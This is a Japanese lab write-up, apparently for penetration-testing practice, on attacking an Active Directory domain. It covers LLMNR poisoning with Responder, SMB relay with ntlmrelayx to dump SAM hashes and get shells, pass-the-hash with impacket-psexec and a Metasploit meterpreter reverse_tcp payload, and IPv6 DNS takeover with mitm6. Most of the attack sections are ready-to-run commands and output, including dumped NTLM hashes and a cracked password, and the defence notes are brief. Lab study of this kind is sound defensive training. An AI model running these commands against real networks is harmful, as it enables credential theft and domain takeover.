LLMNR Poisoning

sudo responder -I tun0 -dwPv

hashcatの対象を指定する番号は、以下のサイトとか、hashcat | grep "対象のハッシュ"で検索できる

Responderで取得することのあるNTLM v2ハッシュは、取得するたびに異なる

攻撃実証

まず、AD内に入ったKali Linuxで、Responderを立ち上げる

ADに属してるドメイン参加ホスト(THE PUNISHER (Frank Castle))から、kali linuxのIPに向けて、リクエストしてみる

すると、このようにユーザーネームと、NTLMv2-SSP Hashを取得することができる

パスワードが弱い時、実際にクラックできる

防御・対策

実際に無効化する手順
DCのServer ManagerのToolsから、Group Policy Managementを開いて

一番下にある、「Turn off multicast name resolution」のポリシーを有効化する

もしできなかったら、ネットワークアクセス制御を行う

そして、強力なユーザーパスワードを要求するべき

しかし、最大の防御はLLMNRを無効化するべき

SMB Relay

攻撃ができる条件

ポイント
SMBリレーが「意味のある攻撃」になるには

攻撃の流れ

まず、SMB署名がないホストを特定する
Nmapでできる

nmap --script=smb2-security-mode.nse -p445 <$Target_IP or Network> -Pn

理想的にはメッセージ署名が有効にはなっているが、必須ではない状態を求めている

ホストでSMB署名が無効または強制されていない状態を発見したら、Responderの設定を変更する

sudo nano /etc/responder/Responder.conf

設定ができたら、Responderを実行する

sudo responder -I tun0 -v

ntlmrelayxというツールも実行する

sudo ntlmrelayx.py -tf targets.txt -smb2support

これで、Responderがハッシュをキャプチャすると、そのハッシュをそのままNTLMリレーに転送して、選択されたターゲットにハッシュをさらに転送できるようになる
そして、キャプチャしたハッシュを持つマシンで、ローカル管理者であればなんらかの成果を得られる

Responderにまずスキャンされるようなイベントを起こす必要がある

攻撃実証

nmapで、DCにSMB署名がないかを確認する
結果として、DCでは、SMB署名が強制されていることがわかった
DCにはsmbリレー攻撃はできない

しかし、他のドメイン参加ホストに対して行ってみると、SMB署名が有効化されているが、強制はされていないことがわかる

そこで、「SMB署名が有効化されているが、強制はされていない」ターゲットをまとめて、書く

responderの設定ファイルをsmb relay攻撃用に書き換える

sudo nano /etc/responder/Responder.conf

SMBとHTTPをOnからOffにする

Responderを実行する

sudo responder -I eth1 -v

SAMの取得

impacket-ntlmrelayxという名前で実行する

impacket-ntlmrelayx -tf targets.txt -smb2support 

最後に、Responderに捕捉されるようなイベントを起こす
ここでは、ドメイン参加ホストから、攻撃者のKaliのマシンにアクセスする

ドメイン参加ホスト上ではアクセスできないと表示される

しかし、実際にはアクセスできていて、smbリレー攻撃が行えた
Responder

impacket-ntlmrelayxの結果

ポイント

[*] SMBD-Thread-5 (process_request_thread): Connection from MARVEL/FCASTLE@192.168.56.102 controlled, attacking target smb://192.168.56.102
[-] Authenticating against smb://192.168.56.102 as MARVEL/FCASTLE FAILED

しかし、fcastleは他のホスト(192.168.56.103)でも管理者権限として存在していて、そのホスト(192.168.56.103)に対するsmbリレー攻撃は成功している

[*] SMBD-Thread-6 (process_request_thread): Connection from MARVEL/FCASTLE@192.168.56.102 controlled, attacking target smb://192.168.56.103
[*] Authenticating against smb://192.168.56.103 as MARVEL/FCASTLE SUCCEED

そして、192.168.56.103のSAM ハッシュを取得できている

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c10aa40e86d4992a473a589f70e80704:::
peterparker:1003:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
[*] Done dumping SAM hashes for host: 192.168.56.103

シェルの取得

Responderの準備をするまでは一緒
ここでは、impacket-ntlmrelayxのオプションを使って、シェルを取得する

impacket-ntlmrelayx -tf targets.txt -smb2support -i

同じようにドメイン参加ホストから、攻撃者のkaliにアクセスする

すると、smbリレー攻撃が実行される

そして、192.168.56.103に対するシェルが開かれていることがわかる

[*] Authenticating against smb://192.168.56.103 as MARVEL/FCASTLE SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000

シェルに接続する

nc 127.0.0.1 11000

実際に、用意されているコマンドを使用できる
用意されているコマンドは、「help」で出力される

コマンドの実行

Responderの準備をするまでは一緒
ここでは、impacket-ntlmrelayxのオプションを使って、コマンドを実行する

impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

同じようにドメイン参加ホストから、攻撃者のkaliにアクセスする

すると、smbリレー攻撃が実行される
ここでは、whoamiの実行結果が、「nt authority\system」なので、192.168.56.103でローカル管理者権限を持つとわかる

防御・対策

全てのデバイスでSMB署名を有効化すること

NTLM認証の無効化

アカウントの階層化

ローカル管理者の制限

シェルの取得

いくつかのハッシュをダンプ、クラックできたので、シェルを取得できる

実証

パスワードがクラックできた時

impacket-psexec MARVEL/fcastle:'Password1'@192.168.56.102

ハッシュを取得できた時

impacket-psexec administrator@192.168.56.103 -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

msfconsole
use Windows/smb/psexec

しかし、このままだとデフォルトで、設定されているペイロードがx64に対応していないので、変更する必要がある

set payload windows/x64/meterpreter/reverse_tcp

そのほかの設定

msf6 exploit(windows/smb/psexec) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 exploit(windows/smb/psexec) > set smbdomain MARVEL.local
smbdomain => MARVEL.local
msf6 exploit(windows/smb/psexec) > set smbuser fcastle
smbuser => fcastle
msf6 exploit(windows/smb/psexec) > set smbpass Password1
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.56.104
LHOST => 192.168.56.104

シェルを取得しないと、DC侵害ができないわけではない
しかし、シェルを使うと機密ファイルの探索などできるから、あったらいいよねって感じ

IPv6を使ったDNSなりすまし攻撃

IPv6を使ったDNS乗っ取り攻撃

Windows ネットワーク上で動作するマシンについて考えると、通常はIPv4で動作している

Q : IPv4を利用しているが、v6がオンになっている場合v6のDNSを担当するのは誰か
A : 誰もいない

そこで――
攻撃者が何をするか?

  1. ネットワーク内にIPv6対応の偽のDNSサーバーを立てる
    • これは簡単にできる(例:Rogue DHCPv6やRA spoofing)
  2. Windowsマシンは、「DNSサーバー誰もいない!あ、この人(攻撃者)が名乗り出た」と思って、偽のDNSサーバーを使ってしまう
  3. 結果、IPv6での通信(例:SMB、LDAPなど)が攻撃者のサーバーに向かう

攻撃者のサーバーで以下が可能

なぜなら、全くアクセスがない状態で、実行できる最もクレイジーな攻撃なひとつ

攻撃の流れ

  1. mitm6 を使ってネットワーク内で 偽のIPv6 DNSサーバー を起動
  2. ターゲットWindowsが自動的に fakewpad.marvel.local にアクセス(WPAD)しようとする
  3. そのときに NTLM認証 が発生(自動)
  4. ntlmrelayx がその認証をキャッチし、DCのLDAPSにリレー
  5. 成功すれば、リレー先で 管理操作(例:アカウント作成) が可能

攻撃実証

ntlmrelayxのオプションを使って、コマンドを実行する

impacket-ntlmrelayx -6 -t ldaps://192.168.56.101 -wh fakewpad.marvel.local -l lootme

次に、mitm6の実行する

sudo mitm6 -d marvel.local -i eth1

これを立てておくと、ネットワーク上でイベントが発生した時

再起動イベント

実際に再起動する

すると、impacket-ntlmrelayxの方にこんな感じのログが出てくる

これを確認した後、Kaliのホームフォルダにlootmeというフォルダができていることがわかる

┌──(kali㉿kali)-[~]
└─$ ls
192.168.56.103_samhashes.sam  arp.cache  Desktop  Documents  Downloads  hash.txt  lootme  Music  Pictures  Public  targets.txt  Templates  Videos

中を覗いてみると、LDAPドメインダンプがあることがわかる

┌──(kali㉿kali)-[~/lootme]
└─$ ls
domain_computers_by_os.html  domain_computers.json  domain_groups.json  domain_policy.json  domain_trusts.json          domain_users.html
domain_computers.grep        domain_groups.grep     domain_policy.grep  domain_trusts.grep  domain_users_by_group.html  domain_users.json
domain_computers.html        domain_groups.html     domain_policy.html  domain_trusts.html  domain_users.grep

実際に、domain_computers.htmlを開くと、ネット内のコンピューターの情報がまとまっている

ドメイングループも同様にみることができる

ドメインユーザーも見ることができて、ここにはdescriptionも載っているので、ここから初期アクセスできる可能性もある

最後にいつログインされてかもわかる

管理アカウントログインイベント

ドメイン参加イベントで、管理者でログインするとする

すると、ドメインユーザーとして、ユーザーが作成される

防御

今すぐに解決する方法

パスバック攻撃

汎用的に使えるTips

hashcat

hashcatでクラックする時に便利なオプション
-O

-r rules/OneRule.rule

辞書ファイルで大きいもの : rockyou2021.txt

また、場所や地域に詳しいことも大事

hash-identifier

まとめ

攻撃を始める時